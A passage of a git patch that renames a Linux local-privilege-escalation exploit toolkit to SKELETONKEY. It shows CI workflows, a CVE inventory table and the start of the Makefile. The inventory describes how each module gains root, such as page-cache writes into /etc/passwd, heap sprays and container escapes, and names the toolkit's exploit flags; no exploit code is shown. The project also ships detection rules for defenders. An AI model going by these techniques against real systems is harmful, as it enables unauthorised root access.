From 9593d90385665a7d6abc97f4fba9cfa7a1092a5b Mon Sep 17 00:00:00 2001 From: KaraZajac Date: Sat, 16 May 2026 22:43:49 -0400 Subject: [PATCH] =?UTF-8?q?rename:=20IAMROOT=20=E2=86=92=20SKELETONKEY=20a?= =?UTF-8?q?cross=20the=20entire=20project?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Breaking change. Tool name, binary name, function/type names, constant names, env vars, header guards, file paths, and GitHub repo URL all rebrand IAMROOT → SKELETONKEY. Changes: - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum values, docs, comments) - All "iamroot" → "skeletonkey" (functions, types, paths, CLI) - iamroot.c → skeletonkey.c - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h} - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh - Binary "iamroot" → "skeletonkey" - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY - .gitignore now expects build output named "skeletonkey" - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-* - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_* New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow SKELETONKEY block letters) replaces the IAMROOT banner in skeletonkey.c and README.md. VERSION: 0.3.1 → 0.4.0 (breaking). Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0. All 24 modules still register; no functional code changes — pure rename + banner refresh. --- .github/workflows/build.yml | 18 +- .github/workflows/release.yml | 36 ++-- .gitignore | 2 +- CVES.md | 16 +- Makefile | 58 +++--- README.md | 65 +++---- ROADMAP.md | 36 ++-- core/finisher.c | 50 +++--- core/finisher.h | 38 ++-- core/kernel_range.c | 4 +- core/kernel_range.h | 8 +- core/module.h | 60 +++---- core/offsets.c | 44 ++--- core/offsets.h | 34 ++-- core/registry.c | 18 +- core/registry.h | 60 +++---- docs/ARCHITECTURE.md | 22 +-- docs/DEFENDERS.md | 68 ++++---- docs/DETECTION_PLAYBOOK.md | 106 +++++------ docs/ETHICS.md | 26 +-- docs/OFFSETS.md | 54 +++--- iamroot | Bin 141584 -> 0 bytes install.sh | 58 +++--- modules/_stubs/fragnesia_TBD/MODULE.md | 2 +- modules/af_packet2_cve_2020_14386/NOTICE.md | 4 +- .../iamroot_modules.h | 12 -- ...amroot_modules.c => skeletonkey_modules.c} | 84 ++++----- .../skeletonkey_modules.h | 12 ++ modules/af_packet_cve_2017_7308/NOTICE.md | 4 +- .../af_packet_cve_2017_7308/iamroot_modules.h | 12 -- ...amroot_modules.c => skeletonkey_modules.c} | 112 ++++++------ .../skeletonkey_modules.h | 12 ++ modules/af_unix_gc_cve_2023_4622/NOTICE.md | 2 +- .../iamroot_modules.h | 12 -- ...amroot_modules.c => skeletonkey_modules.c} | 92 +++++----- .../skeletonkey_modules.h | 12 ++ .../NOTICE.md | 2 +- .../iamroot_modules.h | 12 -- ...amroot_modules.c => skeletonkey_modules.c} | 82 ++++----- .../skeletonkey_modules.h | 12 ++ modules/cls_route4_cve_2022_2588/NOTICE.md | 2 +- .../iamroot_modules.h | 12 -- ...amroot_modules.c => skeletonkey_modules.c} | 106 +++++------ .../skeletonkey_modules.h | 12 ++ modules/copy_fail_family/iamroot_modules.h | 28 --- ...amroot_modules.c => skeletonkey_modules.c} | 100 +++++------ .../copy_fail_family/skeletonkey_modules.h | 28 +++ modules/dirty_cow_cve_2016_5195/NOTICE.md | 2 +- .../dirty_cow_cve_2016_5195/iamroot_modules.h | 12 -- ...amroot_modules.c => skeletonkey_modules.c} | 52 +++--- .../skeletonkey_modules.h | 12 ++ modules/dirty_pipe_cve_2022_0847/MODULE.md | 8 +- modules/dirty_pipe_cve_2022_0847/NOTICE.md | 2 +- .../detect/auditd.rules | 12 +- .../dirty_pipe_cve_2022_0847/detect/sigma.yml | 4 +- .../iamroot_modules.h | 12 -- ...amroot_modules.c => skeletonkey_modules.c} | 78 ++++----- .../skeletonkey_modules.h | 12 ++ modules/entrybleed_cve_2023_0458/MODULE.md | 2 +- modules/entrybleed_cve_2023_0458/NOTICE.md | 4 +- ...amroot_modules.c => skeletonkey_modules.c} | 50 +++--- ...amroot_modules.h => skeletonkey_modules.h} | 8 +- modules/fuse_legacy_cve_2022_0185/NOTICE.md | 2 +- .../iamroot_modules.h | 12 -- ...amroot_modules.c => skeletonkey_modules.c} | 90 +++++----- .../skeletonkey_modules.h | 12 ++ .../NOTICE.md | 2 +- .../iamroot_modules.h | 12 -- ...amroot_modules.c => skeletonkey_modules.c} | 142 +++++++-------- .../skeletonkey_modules.h | 12 ++ modules/nf_tables_cve_2024_1086/NOTICE.md | 2 +- .../nf_tables_cve_2024_1086/iamroot_modules.h | 12 -- ...amroot_modules.c => skeletonkey_modules.c} | 104 +++++------ .../skeletonkey_modules.h | 12 ++ modules/nft_fwd_dup_cve_2022_25636/NOTICE.md | 4 +- .../iamroot_modules.h | 12 -- ...amroot_modules.c => skeletonkey_modules.c} | 100 +++++------ .../skeletonkey_modules.h | 12 ++ modules/nft_payload_cve_2023_0179/NOTICE.md | 2 +- .../iamroot_modules.h | 12 -- ...amroot_modules.c => skeletonkey_modules.c} | 108 ++++++------ .../skeletonkey_modules.h | 12 ++ modules/nft_set_uaf_cve_2023_32233/NOTICE.md | 4 +- .../iamroot_modules.h | 12 -- ...amroot_modules.c => skeletonkey_modules.c} | 134 +++++++------- .../skeletonkey_modules.h | 12 ++ modules/overlayfs_cve_2021_3493/NOTICE.md | 2 +- .../overlayfs_cve_2021_3493/iamroot_modules.h | 12 -- ...amroot_modules.c => skeletonkey_modules.c} | 58 +++--- .../skeletonkey_modules.h | 12 ++ .../overlayfs_setuid_cve_2023_0386/NOTICE.md | 2 +- .../iamroot_modules.h | 12 -- ...amroot_modules.c => skeletonkey_modules.c} | 60 +++---- .../skeletonkey_modules.h | 12 ++ .../ptrace_traceme_cve_2019_13272/NOTICE.md | 2 +- .../iamroot_modules.h | 12 -- ...amroot_modules.c => skeletonkey_modules.c} | 44 ++--- .../skeletonkey_modules.h | 12 ++ modules/pwnkit_cve_2021_4034/MODULE.md | 4 +- modules/pwnkit_cve_2021_4034/NOTICE.md | 4 +- .../pwnkit_cve_2021_4034/iamroot_modules.h | 12 -- ...amroot_modules.c => skeletonkey_modules.c} | 64 +++---- .../skeletonkey_modules.h | 12 ++ modules/stackrot_cve_2023_3269/NOTICE.md | 2 +- .../stackrot_cve_2023_3269/iamroot_modules.h | 12 -- ...amroot_modules.c => skeletonkey_modules.c} | 104 +++++------ .../skeletonkey_modules.h | 12 ++ iamroot.c => skeletonkey.c | 165 +++++++++--------- ...leet-scan.sh => skeletonkey-fleet-scan.sh} | 24 +-- 109 files changed, 1711 insertions(+), 1701 deletions(-) delete mode 100755 iamroot delete mode 100644 modules/af_packet2_cve_2020_14386/iamroot_modules.h rename modules/af_packet2_cve_2020_14386/{iamroot_modules.c => skeletonkey_modules.c} (92%) create mode 100644 modules/af_packet2_cve_2020_14386/skeletonkey_modules.h delete mode 100644 modules/af_packet_cve_2017_7308/iamroot_modules.h rename modules/af_packet_cve_2017_7308/{iamroot_modules.c => skeletonkey_modules.c} (90%) create mode 100644 modules/af_packet_cve_2017_7308/skeletonkey_modules.h delete mode 100644 modules/af_unix_gc_cve_2023_4622/iamroot_modules.h rename modules/af_unix_gc_cve_2023_4622/{iamroot_modules.c => skeletonkey_modules.c} (92%) create mode 100644 modules/af_unix_gc_cve_2023_4622/skeletonkey_modules.h delete mode 100644 modules/cgroup_release_agent_cve_2022_0492/iamroot_modules.h rename modules/cgroup_release_agent_cve_2022_0492/{iamroot_modules.c => skeletonkey_modules.c} (83%) create mode 100644 modules/cgroup_release_agent_cve_2022_0492/skeletonkey_modules.h delete mode 100644 modules/cls_route4_cve_2022_2588/iamroot_modules.h rename modules/cls_route4_cve_2022_2588/{iamroot_modules.c => skeletonkey_modules.c} (91%) create mode 100644 modules/cls_route4_cve_2022_2588/skeletonkey_modules.h delete mode 100644 modules/copy_fail_family/iamroot_modules.h rename modules/copy_fail_family/{iamroot_modules.c => skeletonkey_modules.c} (68%) create mode 100644 modules/copy_fail_family/skeletonkey_modules.h delete mode 100644 modules/dirty_cow_cve_2016_5195/iamroot_modules.h rename modules/dirty_cow_cve_2016_5195/{iamroot_modules.c => skeletonkey_modules.c} (90%) create mode 100644 modules/dirty_cow_cve_2016_5195/skeletonkey_modules.h delete mode 100644 modules/dirty_pipe_cve_2022_0847/iamroot_modules.h rename modules/dirty_pipe_cve_2022_0847/{iamroot_modules.c => skeletonkey_modules.c} (88%) create mode 100644 modules/dirty_pipe_cve_2022_0847/skeletonkey_modules.h rename modules/entrybleed_cve_2023_0458/{iamroot_modules.c => skeletonkey_modules.c} (87%) rename modules/entrybleed_cve_2023_0458/{iamroot_modules.h => skeletonkey_modules.h} (70%) delete mode 100644 modules/fuse_legacy_cve_2022_0185/iamroot_modules.h rename modules/fuse_legacy_cve_2022_0185/{iamroot_modules.c => skeletonkey_modules.c} (93%) create mode 100644 modules/fuse_legacy_cve_2022_0185/skeletonkey_modules.h delete mode 100644 modules/netfilter_xtcompat_cve_2021_22555/iamroot_modules.h rename modules/netfilter_xtcompat_cve_2021_22555/{iamroot_modules.c => skeletonkey_modules.c} (90%) create mode 100644 modules/netfilter_xtcompat_cve_2021_22555/skeletonkey_modules.h delete mode 100644 modules/nf_tables_cve_2024_1086/iamroot_modules.h rename modules/nf_tables_cve_2024_1086/{iamroot_modules.c => skeletonkey_modules.c} (93%) create mode 100644 modules/nf_tables_cve_2024_1086/skeletonkey_modules.h delete mode 100644 modules/nft_fwd_dup_cve_2022_25636/iamroot_modules.h rename modules/nft_fwd_dup_cve_2022_25636/{iamroot_modules.c => skeletonkey_modules.c} (93%) create mode 100644 modules/nft_fwd_dup_cve_2022_25636/skeletonkey_modules.h delete mode 100644 modules/nft_payload_cve_2023_0179/iamroot_modules.h rename modules/nft_payload_cve_2023_0179/{iamroot_modules.c => skeletonkey_modules.c} (93%) create mode 100644 modules/nft_payload_cve_2023_0179/skeletonkey_modules.h delete mode 100644 modules/nft_set_uaf_cve_2023_32233/iamroot_modules.h rename modules/nft_set_uaf_cve_2023_32233/{iamroot_modules.c => skeletonkey_modules.c} (90%) create mode 100644 modules/nft_set_uaf_cve_2023_32233/skeletonkey_modules.h delete mode 100644 modules/overlayfs_cve_2021_3493/iamroot_modules.h rename modules/overlayfs_cve_2021_3493/{iamroot_modules.c => skeletonkey_modules.c} (92%) create mode 100644 modules/overlayfs_cve_2021_3493/skeletonkey_modules.h delete mode 100644 modules/overlayfs_setuid_cve_2023_0386/iamroot_modules.h rename modules/overlayfs_setuid_cve_2023_0386/{iamroot_modules.c => skeletonkey_modules.c} (88%) create mode 100644 modules/overlayfs_setuid_cve_2023_0386/skeletonkey_modules.h delete mode 100644 modules/ptrace_traceme_cve_2019_13272/iamroot_modules.h rename modules/ptrace_traceme_cve_2019_13272/{iamroot_modules.c => skeletonkey_modules.c} (90%) create mode 100644 modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.h delete mode 100644 modules/pwnkit_cve_2021_4034/iamroot_modules.h rename modules/pwnkit_cve_2021_4034/{iamroot_modules.c => skeletonkey_modules.c} (89%) create mode 100644 modules/pwnkit_cve_2021_4034/skeletonkey_modules.h delete mode 100644 modules/stackrot_cve_2023_3269/iamroot_modules.h rename modules/stackrot_cve_2023_3269/{iamroot_modules.c => skeletonkey_modules.c} (92%) create mode 100644 modules/stackrot_cve_2023_3269/skeletonkey_modules.h rename iamroot.c => skeletonkey.c (81%) rename tools/{iamroot-fleet-scan.sh => skeletonkey-fleet-scan.sh} (89%) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 1e3bc60..3df09f5 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -37,22 +37,22 @@ jobs: make fi - - name: sanity — iamroot --version - run: ./iamroot --version + - name: sanity — skeletonkey --version + run: ./skeletonkey --version - - name: sanity — iamroot --list - run: ./iamroot --list + - name: sanity — skeletonkey --list + run: ./skeletonkey --list - - name: sanity — iamroot --scan (no exploit; just detect) - run: ./iamroot --scan --no-color || true + - name: sanity — skeletonkey --scan (no exploit; just detect) + run: ./skeletonkey --scan --no-color || true # exit code may be nonzero (vulnerable host = exit 2, missing # precond = exit 4) — that's diagnostic data, not CI failure - name: sanity — --detect-rules auditd - run: ./iamroot --detect-rules --format=auditd | head -50 + run: ./skeletonkey --detect-rules --format=auditd | head -50 - name: sanity — --detect-rules sigma - run: ./iamroot --detect-rules --format=sigma | head -50 + run: ./skeletonkey --detect-rules --format=sigma | head -50 # Static build job: ensures the project links cleanly when -static is # requested. Useful for deployment to minimal containers / fleet scans @@ -75,7 +75,7 @@ jobs: # gate the merge on it. Migrate to musl-gcc when we want a # truly portable static binary. continue-on-error: true - run: make static && ls -la iamroot + run: make static && ls -la skeletonkey # Phase 4 followup (placeholder): kernel-VM matrix. Each entry runs # the binary against a VM running a specific (vulnerable or patched) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index d1dea3e..a39d461 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -7,7 +7,7 @@ name: release # Maintainer flow: # git tag v0.1.0 # git push origin v0.1.0 -# → CI builds + publishes release with iamroot-x86_64 + iamroot-arm64 +# → CI builds + publishes release with skeletonkey-x86_64 + skeletonkey-arm64 on: push: @@ -44,20 +44,20 @@ jobs: CC: ${{ matrix.cc }} run: | make - file iamroot - ls -la iamroot + file skeletonkey + ls -la skeletonkey - name: rename + checksum run: | - mv iamroot iamroot-${{ matrix.target }} - sha256sum iamroot-${{ matrix.target }} > iamroot-${{ matrix.target }}.sha256 + mv skeletonkey skeletonkey-${{ matrix.target }} + sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256 - uses: actions/upload-artifact@v4 with: - name: iamroot-${{ matrix.target }} + name: skeletonkey-${{ matrix.target }} path: | - iamroot-${{ matrix.target }} - iamroot-${{ matrix.target }}.sha256 + skeletonkey-${{ matrix.target }} + skeletonkey-${{ matrix.target }}.sha256 release: needs: build @@ -72,7 +72,7 @@ jobs: - name: flatten artifacts run: | find dist -type f -exec mv {} . \; - ls -la iamroot-* + ls -la skeletonkey-* - name: collect release notes id: notes @@ -81,16 +81,16 @@ jobs: echo "tag=$tag" >> "$GITHUB_OUTPUT" # Pull the latest entry from CVES.md / ROADMAP.md for the body { - echo "## IAMROOT $tag" + echo "## SKELETONKEY $tag" echo echo "Pre-built binaries for x86_64 and arm64. Checksums alongside." echo echo "### Install" echo echo '```bash' - echo "curl -sSLfo /tmp/iamroot https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/iamroot-\$(uname -m | sed s/aarch64/arm64/)" - echo "chmod +x /tmp/iamroot && sudo mv /tmp/iamroot /usr/local/bin/iamroot" - echo "iamroot --version" + echo "curl -sSLfo /tmp/skeletonkey https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/skeletonkey-\$(uname -m | sed s/aarch64/arm64/)" + echo "chmod +x /tmp/skeletonkey && sudo mv /tmp/skeletonkey /usr/local/bin/skeletonkey" + echo "skeletonkey --version" echo '```' echo echo "Or one-shot via the install script:" @@ -109,12 +109,12 @@ jobs: uses: softprops/action-gh-release@v2 with: tag_name: ${{ steps.notes.outputs.tag }} - name: IAMROOT ${{ steps.notes.outputs.tag }} + name: SKELETONKEY ${{ steps.notes.outputs.tag }} body_path: release-notes.md files: | - iamroot-x86_64 - iamroot-x86_64.sha256 - iamroot-arm64 - iamroot-arm64.sha256 + skeletonkey-x86_64 + skeletonkey-x86_64.sha256 + skeletonkey-arm64 + skeletonkey-arm64.sha256 install.sh fail_on_unmatched_files: false # install.sh may not exist at first tag diff --git a/.gitignore b/.gitignore index 0b72099..d2e7093 100644 --- a/.gitignore +++ b/.gitignore @@ -5,7 +5,7 @@ build/ *.dSYM/ modules/*/build/ modules/*/dirtyfail -modules/*/iamroot +modules/*/skeletonkey .vscode/ .idea/ *.swp diff --git a/CVES.md b/CVES.md index 6291035..ccdbf3c 100644 --- a/CVES.md +++ b/CVES.md @@ -1,6 +1,6 @@ # CVE inventory -The curated list of CVEs IAMROOT exploits, with patch status and +The curated list of CVEs SKELETONKEY exploits, with patch status and module status. Updated as new modules land or as upstream patches ship. @@ -26,13 +26,13 @@ Status legend: **Counts (v0.3.1):** 🟢 13 · 🟡 11 (all `--full-chain` capable) · 🔵 0 · ⚪ 1 · 🔴 0 Every module ships a `NOTICE.md` crediting the original CVE -reporter and PoC author. `iamroot --dump-offsets` populates the +reporter and PoC author. `skeletonkey --dump-offsets` populates the embedded offset table for new kernel builds — operators with root on a host can upstream their kernel's offsets via PR. ## Inventory -| CVE | Name | Class | First patched | IAMROOT module | Status | Notes | +| CVE | Name | Class | First patched | SKELETONKEY module | Status | Notes | |---|---|---|---|---|---|---| | CVE-2026-31431 | Copy Fail (algif_aead `authencesn` page-cache write) | LPE (page-cache write → /etc/passwd) | mainline 2026-04-22 | `copy_fail` | 🟢 | Verified on Ubuntu 26.04, Alma 9, Debian 13. Full AppArmor bypass. | | CVE-2026-43284 (v4) | Dirty Frag — IPv4 xfrm-ESP page-cache write | LPE (same primitive shape as Copy Fail, different trigger) | mainline 2026-05-XX | `dirty_frag_esp` | 🟢 | Full PoC + active-probe scan | @@ -40,9 +40,9 @@ root on a host can upstream their kernel's offsets via PR. | CVE-2026-43500 | Dirty Frag — RxRPC page-cache write | LPE | mainline 2026-05-XX | `dirty_frag_rxrpc` | 🟢 | | | (variant, no CVE) | Copy Fail GCM variant — xfrm-ESP `rfc4106(gcm(aes))` page-cache write | LPE | n/a | `copy_fail_gcm` | 🟢 | Sibling primitive, same fix | | CVE-2022-0847 | Dirty Pipe — pipe `PIPE_BUF_FLAG_CAN_MERGE` write | LPE (arbitrary file write into page cache) | mainline 5.17 (2022-02-23) | `dirty_pipe` | 🟢 | Full detect + exploit + cleanup. Detect: branch-backport ranges + **active sentinel probe** (`--active` fires the primitive against a /tmp probe file and verifies the page cache poisoning lands — catches silent distro backports the version check misses). Exploit: page-cache write into /etc/passwd UID field followed by `su` to drop a root shell. Auto-refuses on patched kernels. Cleanup: drop_caches + POSIX_FADV_DONTNEED. | -| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `iamroot --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `IAMROOT_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. | +| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `skeletonkey --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `SKELETONKEY_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. | | CVE-2026-31402 | NFS replay-cache heap overflow | LPE (NFS server) | mainline 2026-04-03 | — | ⚪ | Candidate. Different audience (NFS servers) — TBD whether in-scope. | -| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/iamroot-pwnkit-* workdirs. **First userspace LPE in IAMROOT**. Ships auditd + sigma rules. | +| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/skeletonkey-pwnkit-* workdirs. **First userspace LPE in SKELETONKEY**. Ships auditd + sigma rules. | | CVE-2024-1086 | nf_tables — `nft_verdict_init` cross-cache UAF | LPE (kernel arbitrary R/W via slab UAF) | mainline 6.8-rc1 (Jan 2024) | `nf_tables` | 🟡 | Hand-rolled nfnetlink batch builder (no libmnl dep) constructs the NFT_GOTO+NFT_DROP malformed verdict in a pipapo set, fires the double-free, sprays msg_msg in kmalloc-cg-96 and snapshots slabinfo. Stops before the Notselwyn pipapo R/W dance (per-kernel offsets refused). Branch-backport thresholds: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210 / 5.4.269. Also gates on unprivileged user_ns clone availability. | | CVE-2021-3493 | Ubuntu overlayfs userns file-capability injection | LPE (host root via file caps in userns-mounted overlayfs) | Ubuntu USN-4915-1 (Apr 2021) | `overlayfs` | 🟢 | Full vsh-style exploit (userns+overlayfs mount + xattr file-cap injection + exec). **Ubuntu-specific** (vanilla upstream didn't enable userns-overlayfs-mount until 5.11). Detect parses /etc/os-release for ID=ubuntu, checks unprivileged_userns_clone sysctl, and with `--active` attempts the mount as a fork-isolated probe. Ships auditd rules covering mount(overlay) + setxattr(security.capability). | | CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. | @@ -51,10 +51,10 @@ root on a host can upstream their kernel's offsets via PR. | CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. | | CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. | | CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. | -| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `IAMROOT_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. | +| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. | | CVE-2022-0185 | legacy_parse_param fsconfig heap OOB → container-escape | LPE (cross-cache UAF → cred overwrite from rootless container) | mainline 5.16.2 (Jan 2022) | `fuse_legacy` | 🟡 | userns+mountns reach, fsopen("cgroup2") + double fsconfig SET_STRING fires the 4k OOB, msg_msg cross-cache groom in kmalloc-4k, MSG_COPY read-back detects whether the OOB landed in an adjacent neighbour. Stops before the m_ts overflow → MSG_COPY arbitrary read chain (scaffold present, no per-kernel offsets). **Container-escape angle** — relevant to rootless docker/podman/snap. Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171. | | CVE-2023-3269 | StackRot — maple-tree VMA-split UAF | LPE (kernel R/W via maple node use-after-RCU) | mainline 6.4-rc4 (Jul 2023) | `stackrot` | 🟡 | Two-thread race driver (MAP_GROWSDOWN + mremap rotation vs fork+fault) with cpu pinning + 3 s budget; kmalloc-192 spray for anon_vma/anon_vma_chain; race-iteration + signal breadcrumb. Honest reliability note in module header: **~<1% race-win/run on a vulnerable kernel** — the public PoC averages minutes-to-hours and needs a much wider VMA staging matrix to be reliable. Useful as a "is the maple-tree path reachable here?" probe. Branch backports: 6.4.4 / 6.3.13 / 6.1.37. | -| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `iamroot-af-packet` audit key with CVE-2017-7308. | +| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `skeletonkey-af-packet` audit key with CVE-2017-7308. | | CVE-2023-32233 | nf_tables anonymous-set UAF | LPE (kernel UAF in nft_set transaction) | mainline 6.4-rc4 (May 2023) | `nft_set_uaf` | 🟡 | Sondej+Krysiuk. Hand-rolled nfnetlink batch (NEWTABLE → NEWCHAIN → NEWSET(ANON\|EVAL) → NEWRULE(lookup) → DELSET → DELRULE) drives the deactivation skip; cg-512 msg_msg cross-cache spray. Branch backports: 4.19.283 / 5.4.243 / 5.10.180 / 5.15.111 / 6.1.28 / 6.2.15 / 6.3.2. --full-chain forges freed-set with `set->data = kaddr`. | | CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. | | CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. | @@ -113,7 +113,7 @@ the relevant distro drops out of the "WORKING" list for that module. ## Why we exclude some things - **0-days the maintainer found themselves**: those go through - responsible disclosure first, then enter IAMROOT after upstream patch + responsible disclosure first, then enter SKELETONKEY after upstream patch - **kCTF VRP submissions in flight**: same as above; disclosure before bundling - **Hardware-specific side channels** (Spectre/Meltdown variants): diff --git a/Makefile b/Makefile index 49cf837..e29dd2d 100644 --- a/Makefile +++ b/Makefile @@ -1,15 +1,15 @@ -# IAMROOT — top-level Makefile (Phase 1) +# SKELETONKEY — top-level Makefile (Phase 1) # -# Builds one binary `iamroot` linked from: +# Builds one binary `skeletonkey` linked from: # - core/ module interface + registry # - modules// one family per subdir, contributes objects to the # final binary -# - iamroot.c top-level dispatcher +# - skeletonkey.c top-level dispatcher # # Each family is currently flat (Phase 1 keeps copy_fail_family's # absorbed DIRTYFAIL source in modules/copy_fail_family/src/). # Future families register the same way: add their register_* call to -# iamroot.c's main() and add their src dir to MODULE_DIRS below. +# skeletonkey.c's main() and add their src dir to MODULE_DIRS below. CC ?= gcc CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \ @@ -17,117 +17,117 @@ CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \ LDFLAGS ?= BUILD := build -BIN := iamroot +BIN := skeletonkey # core/ CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c CORE_OBJS := $(patsubst 